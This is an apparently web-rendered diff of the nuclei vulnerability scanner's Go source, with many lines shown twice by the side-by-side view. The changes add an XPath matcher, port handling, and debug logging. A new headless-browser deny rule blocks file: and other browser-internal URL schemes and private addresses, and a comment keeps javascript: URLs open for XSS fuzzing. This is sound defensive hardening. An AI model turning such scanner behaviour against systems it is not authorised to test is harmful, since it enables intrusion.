Type: types.ToString(event["type"]), Type: types.ToString(event["type"]),
Host: types.ToString(event["host"]), Host: types.ToString(event["host"]),
Request: types.ToString(event["request"]),
Response: types.ToString(event["response"]),
MatcherStatus: false, MatcherStatus: false,
Timestamp: time.Now(), Timestamp: time.Now(),
} }

View File

@ -16,6 +16,7 @@ import (
"github.com/projectdiscovery/nuclei/v2/pkg/protocols" "github.com/projectdiscovery/nuclei/v2/pkg/protocols"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/contextargs" "github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/contextargs"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/http/httpclientpool" "github.com/projectdiscovery/nuclei/v2/pkg/protocols/http/httpclientpool"
httputil "github.com/projectdiscovery/nuclei/v2/pkg/protocols/utils/http"
"github.com/projectdiscovery/nuclei/v2/pkg/templates" "github.com/projectdiscovery/nuclei/v2/pkg/templates"
"github.com/projectdiscovery/nuclei/v2/pkg/templates/types" "github.com/projectdiscovery/nuclei/v2/pkg/templates/types"
"github.com/projectdiscovery/retryablehttp-go" "github.com/projectdiscovery/retryablehttp-go"
@ -58,13 +59,13 @@ func New(opts Options) (*Service, error) {
var mappingData map[string]string var mappingData map[string]string
config := config.DefaultConfig config := config.DefaultConfig
if err == nil {
mappingFile := filepath.Join(config.TemplatesDirectory, mappingFilename) mappingFile := filepath.Join(config.TemplatesDirectory, mappingFilename)
if file, err := os.Open(mappingFile); err == nil { if file, err := os.Open(mappingFile); err == nil {
_ = yaml.NewDecoder(file).Decode(&mappingData) _ = yaml.NewDecoder(file).Decode(&mappingData)
file.Close() file.Close()
}
} }
if opts.ExecuterOpts.Options.Verbose { if opts.ExecuterOpts.Options.Verbose {
gologger.Verbose().Msgf("Normalized mapping (%d): %v\n", len(mappingData), mappingData) gologger.Verbose().Msgf("Normalized mapping (%d): %v\n", len(mappingData), mappingData)
} }
@ -86,7 +87,9 @@ func New(opts Options) (*Service, error) {
childExecuter := opts.Engine.ChildExecuter() childExecuter := opts.Engine.ChildExecuter()
httpclient, err := httpclientpool.Get(opts.ExecuterOpts.Options, &httpclientpool.Configuration{ httpclient, err := httpclientpool.Get(opts.ExecuterOpts.Options, &httpclientpool.Configuration{
Connection: &httpclientpool.ConnectionConfiguration{DisableKeepAlive: true}, Connection: &httpclientpool.ConnectionConfiguration{
DisableKeepAlive: httputil.ShouldDisableKeepAlive(opts.ExecuterOpts.Options),
},
}) })
if err != nil { if err != nil {
return nil, errors.Wrap(err, "could not get http client") return nil, errors.Wrap(err, "could not get http client")

View File

@ -2,10 +2,19 @@ package contextargs
import ( import (
"net/http/cookiejar" "net/http/cookiejar"
"strings"
"sync/atomic" "sync/atomic"
"github.com/projectdiscovery/gologger" "github.com/projectdiscovery/gologger"
mapsutil "github.com/projectdiscovery/utils/maps" mapsutil "github.com/projectdiscovery/utils/maps"
sliceutil "github.com/projectdiscovery/utils/slice"
stringsutil "github.com/projectdiscovery/utils/strings"
urlutil "github.com/projectdiscovery/utils/url"
)
var (
// reservedPorts contains list of reserved ports for non-network requests in nuclei
reservedPorts = []string{"80", "443", "8080", "8443", "8081", "53"}
) )
// Context implements a shared context struct to share information across multiple templates within a workflow // Context implements a shared context struct to share information across multiple templates within a workflow
@ -80,6 +89,31 @@ func (ctx *Context) Add(key string, v interface{}) {
} }
} }
// UseNetworkPort updates input with required/default network port for that template
// but is ignored if input/target contains non-http ports like 80,8080,8081 etc
func (ctx *Context) UseNetworkPort(port string, excludePorts string) error {
ignorePorts := reservedPorts
if excludePorts != "" {
// TODO: add support for service names like http,https,ssh etc once https://github.com/projectdiscovery/netdb is ready
ignorePorts = sliceutil.Dedupe(strings.Split(excludePorts, ","))
}
if port == "" {
// if template does not contain port, do nothing
return nil
}
target, err := urlutil.Parse(ctx.MetaInput.Input)
if err != nil {
return err
}
inputPort := target.Port()
if inputPort == "" || stringsutil.EqualFoldAny(inputPort, ignorePorts...) {
// replace port with networkPort
target.UpdatePort(port)
ctx.MetaInput.Input = target.Host
}
return nil
}
// Get the value with specific key if exists // Get the value with specific key if exists
func (ctx *Context) Get(key string) (interface{}, bool) { func (ctx *Context) Get(key string) (interface{}, bool) {
if !ctx.hasArgs() { if !ctx.hasArgs() {

View File

@ -100,6 +100,10 @@ func (c *Client) poll() error {
err = interactsh.StartPolling(c.pollDuration, func(interaction *server.Interaction) { err = interactsh.StartPolling(c.pollDuration, func(interaction *server.Interaction) {
request, err := c.requests.Get(interaction.UniqueID) request, err := c.requests.Get(interaction.UniqueID)
// for more context in github actions
if strings.EqualFold(os.Getenv("GITHUB_ACTIONS"), "true") && c.options.Debug {
gologger.DefaultLogger.Print().Msgf("[Interactsh]: got interaction of %v for request %v and error %v", interaction, request, err)
}
if errors.Is(err, gcache.KeyNotFoundError) || request == nil { if errors.Is(err, gcache.KeyNotFoundError) || request == nil {
// If we don't have any request for this ID, add it to temporary // If we don't have any request for this ID, add it to temporary
// lru cache, so we can correlate when we get an add request. // lru cache, so we can correlate when we get an add request.
@ -156,6 +160,11 @@ func (c *Client) processInteractionForRequest(interaction *server.Interaction, d
result, matched := data.Operators.Execute(data.Event.InternalEvent, data.MatchFunc, data.ExtractFunc, c.options.Debug || c.options.DebugRequest || c.options.DebugResponse) result, matched := data.Operators.Execute(data.Event.InternalEvent, data.MatchFunc, data.ExtractFunc, c.options.Debug || c.options.DebugRequest || c.options.DebugResponse)
// for more context in github actions
if strings.EqualFold(os.Getenv("GITHUB_ACTIONS"), "true") && c.options.Debug {
gologger.DefaultLogger.Print().Msgf("[Interactsh]: got result %v and status %v after processing interaction", result, matched)
}
// if we don't match, return // if we don't match, return
if !matched || result == nil { if !matched || result == nil {
return false return false
@ -179,7 +188,9 @@ func (c *Client) processInteractionForRequest(interaction *server.Interaction, d
c.debugPrintInteraction(interaction, data.Event.OperatorsResult) c.debugPrintInteraction(interaction, data.Event.OperatorsResult)
} }
if writer.WriteResult(data.Event, c.options.Output, c.options.Progress, c.options.IssuesClient) { // if event is not already matched, write it to output
if !data.Event.InteractshMatched.Load() && writer.WriteResult(data.Event, c.options.Output, c.options.Progress, c.options.IssuesClient) {
data.Event.InteractshMatched.Store(true)
c.matched.Store(true) c.matched.Store(true)
if requestShouldStopAtFirstMatch(data) || c.options.StopAtFirstMatch { if requestShouldStopAtFirstMatch(data) || c.options.StopAtFirstMatch {
_ = c.matchedTemplates.SetWithExpire(hash(data.Event.InternalEvent), true, defaultInteractionDuration) _ = c.matchedTemplates.SetWithExpire(hash(data.Event.InternalEvent), true, defaultInteractionDuration)

View File

@ -0,0 +1,79 @@
package protocolstate
import (
"strings"
"github.com/go-rod/rod"
"github.com/go-rod/rod/lib/proto"
"github.com/projectdiscovery/networkpolicy"
errorutil "github.com/projectdiscovery/utils/errors"
stringsutil "github.com/projectdiscovery/utils/strings"
urlutil "github.com/projectdiscovery/utils/url"
"go.uber.org/multierr"
)
// initalize state of headless protocol
var (
ErrURLDenied = errorutil.NewWithFmt("headless: url %v dropped by rule: %v")
networkPolicy *networkpolicy.NetworkPolicy
allowLocalFileAccess bool
)
// ValidateNFailRequest validates and fails request
// if the request does not respect the rules, it will be canceled with reason
func ValidateNFailRequest(page *rod.Page, e *proto.FetchRequestPaused) error {
reqURL := e.Request.URL
normalized := strings.ToLower(reqURL) // normalize url to lowercase
normalized = strings.TrimSpace(normalized) // trim leading & trailing whitespaces
if !allowLocalFileAccess && stringsutil.HasPrefixI(normalized, "file:") {
return multierr.Combine(FailWithReason(page, e), ErrURLDenied.Msgf(reqURL, "use of file:// protocol disabled use '-lfa' to enable"))
}
// validate potential invalid schemes
// javascript protocol is allowed for xss fuzzing
if stringsutil.HasPrefixAnyI(normalized, "ftp:", "externalfile:", "chrome:", "chrome-extension:") {
return multierr.Combine(FailWithReason(page, e), ErrURLDenied.Msgf(reqURL, "protocol blocked by network policy"))
}
if !isValidHost(reqURL) {
return multierr.Combine(FailWithReason(page, e), ErrURLDenied.Msgf(reqURL, "address blocked by network policy"))
}
return nil
}
// FailWithReason fails request with AccessDenied reason
func FailWithReason(page *rod.Page, e *proto.FetchRequestPaused) error {
m := proto.FetchFailRequest{
RequestID: e.RequestID,
ErrorReason: proto.NetworkErrorReasonAccessDenied,
}
return m.Call(page)
}
// InitHeadless initializes headless protocol state
func InitHeadless(RestrictLocalNetworkAccess bool, localFileAccess bool) {
allowLocalFileAccess = localFileAccess
if !RestrictLocalNetworkAccess {
return
}
networkPolicy, _ = networkpolicy.New(networkpolicy.Options{
DenyList: append(networkpolicy.DefaultIPv4DenylistRanges, networkpolicy.DefaultIPv6DenylistRanges...),
})
}
// isValidHost checks if the host is valid (only limited to http/https protocols)
func isValidHost(targetUrl string) bool {
if !stringsutil.HasPrefixAny(targetUrl, "http:", "https:") {
return true
}
if networkPolicy == nil {
return true
}
urlx, err := urlutil.Parse(targetUrl)
if err != nil {
// not a valid url
return false
}
targetUrl = urlx.Hostname()
_, ok := networkPolicy.ValidateHost(targetUrl)
return ok
}

View File

@ -22,6 +22,7 @@ func Init(options *types.Options) error {
return nil return nil
} }
opts := fastdialer.DefaultOptions opts := fastdialer.DefaultOptions
InitHeadless(options.RestrictLocalNetworkAccess, options.AllowLocalFileAccess)
switch { switch {
case options.SourceIP != "" && options.Interface != "": case options.SourceIP != "" && options.Interface != "":

View File

@ -42,6 +42,8 @@ func (request *Request) Match(data map[string]interface{}, matcher *matchers.Mat
return matcher.ResultWithMatchedSnippet(matcher.MatchBinary(types.ToString(item))) return matcher.ResultWithMatchedSnippet(matcher.MatchBinary(types.ToString(item)))
case matchers.DSLMatcher: case matchers.DSLMatcher:
return matcher.Result(matcher.MatchDSL(data)), []string{} return matcher.Result(matcher.MatchDSL(data)), []string{}
case matchers.XPathMatcher:
return matcher.Result(matcher.MatchXPath(types.ToString(item))), []string{}
} }
return false, []string{} return false, []string{}
} }

View File

@ -10,6 +10,7 @@ import (
"github.com/projectdiscovery/nuclei/v2/pkg/model" "github.com/projectdiscovery/nuclei/v2/pkg/model"
"github.com/projectdiscovery/nuclei/v2/pkg/model/types/severity" "github.com/projectdiscovery/nuclei/v2/pkg/model/types/severity"
"github.com/projectdiscovery/nuclei/v2/pkg/testutils" "github.com/projectdiscovery/nuclei/v2/pkg/testutils"
permissionutil "github.com/projectdiscovery/utils/permission"
) )
func TestFindInputPaths(t *testing.T) { func TestFindInputPaths(t *testing.T) {
@ -44,7 +45,7 @@ func TestFindInputPaths(t *testing.T) {
"test.js": "TEST", "test.js": "TEST",
} }
for k, v := range files { for k, v := range files {
err = os.WriteFile(filepath.Join(tempDir, k), []byte(v), os.ModePerm) err = os.WriteFile(filepath.Join(tempDir, k), []byte(v), permissionutil.TempFilePermission)
require.Nil(t, err, "could not write temporary file") require.Nil(t, err, "could not write temporary file")
} }
expected := []string{"config.yaml", "final.yaml", "test.js"} expected := []string{"config.yaml", "final.yaml", "test.js"}

View File

@ -30,6 +30,8 @@ func (request *Request) Match(data map[string]interface{}, matcher *matchers.Mat
return matcher.ResultWithMatchedSnippet(matcher.MatchBinary(itemStr)) return matcher.ResultWithMatchedSnippet(matcher.MatchBinary(itemStr))
case matchers.DSLMatcher: case matchers.DSLMatcher:
return matcher.Result(matcher.MatchDSL(data)), []string{} return matcher.Result(matcher.MatchDSL(data)), []string{}
case matchers.XPathMatcher:
return matcher.Result(matcher.MatchXPath(itemStr)), []string{}
} }
return false, []string{} return false, []string{}
} }

View File

@ -15,6 +15,7 @@ import (
"github.com/projectdiscovery/nuclei/v2/pkg/output" "github.com/projectdiscovery/nuclei/v2/pkg/output"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/contextargs" "github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/contextargs"
"github.com/projectdiscovery/nuclei/v2/pkg/testutils" "github.com/projectdiscovery/nuclei/v2/pkg/testutils"
permissionutil "github.com/projectdiscovery/utils/permission"
) )
func TestFileExecuteWithResults(t *testing.T) { func TestFileExecuteWithResults(t *testing.T) {
@ -58,7 +59,7 @@ func TestFileExecuteWithResults(t *testing.T) {
"config.yaml": "TEST\r\n1.1.1.1\r\n", "config.yaml": "TEST\r\n1.1.1.1\r\n",
} }
for k, v := range files { for k, v := range files {
err = os.WriteFile(filepath.Join(tempDir, k), []byte(v), os.ModePerm) err = os.WriteFile(filepath.Join(tempDir, k), []byte(v), permissionutil.TempFilePermission)
require.Nil(t, err, "could not write temporary file") require.Nil(t, err, "could not write temporary file")
} }

View File

@ -13,6 +13,7 @@ import (
"github.com/go-rod/rod/lib/proto" "github.com/go-rod/rod/lib/proto"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/contextargs" "github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/contextargs"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/utils" "github.com/projectdiscovery/nuclei/v2/pkg/protocols/utils"
"github.com/projectdiscovery/nuclei/v2/pkg/types"
) )
// Page is a single page in an isolated browser instance // Page is a single page in an isolated browser instance
@ -40,6 +41,7 @@ type HistoryData struct {
type Options struct { type Options struct {
Timeout time.Duration Timeout time.Duration
CookieReuse bool CookieReuse bool
Options *types.Options
} }
// Run runs a list of actions by creating a new page in the browser. // Run runs a list of actions by creating a new page in the browser.

View File

@ -30,7 +30,8 @@ import (
) )
var ( var (
errinvalidArguments = errors.New("invalid arguments provided") errinvalidArguments = errorutil.New("invalid arguments provided")
ErrLFAccessDenied = errorutil.New("Use -allow-local-file-access flag to enable local file access")
) )
const ( const (
@ -70,7 +71,11 @@ func (p *Page) ExecuteActions(input *contextargs.Context, actions []*Action, var
case ActionWaitEvent: case ActionWaitEvent:
err = p.WaitEvent(act, outData) err = p.WaitEvent(act, outData)
case ActionFilesInput: case ActionFilesInput:
err = p.FilesInput(act, outData) if p.options.Options.AllowLocalFileAccess {
err = p.FilesInput(act, outData)
} else {
err = ErrLFAccessDenied
}
case ActionAddHeader: case ActionAddHeader:
err = p.ActionAddHeader(act, outData) err = p.ActionAddHeader(act, outData)
case ActionSetHeader: case ActionSetHeader:

Some files were not shown because too many files have changed in this diff Show More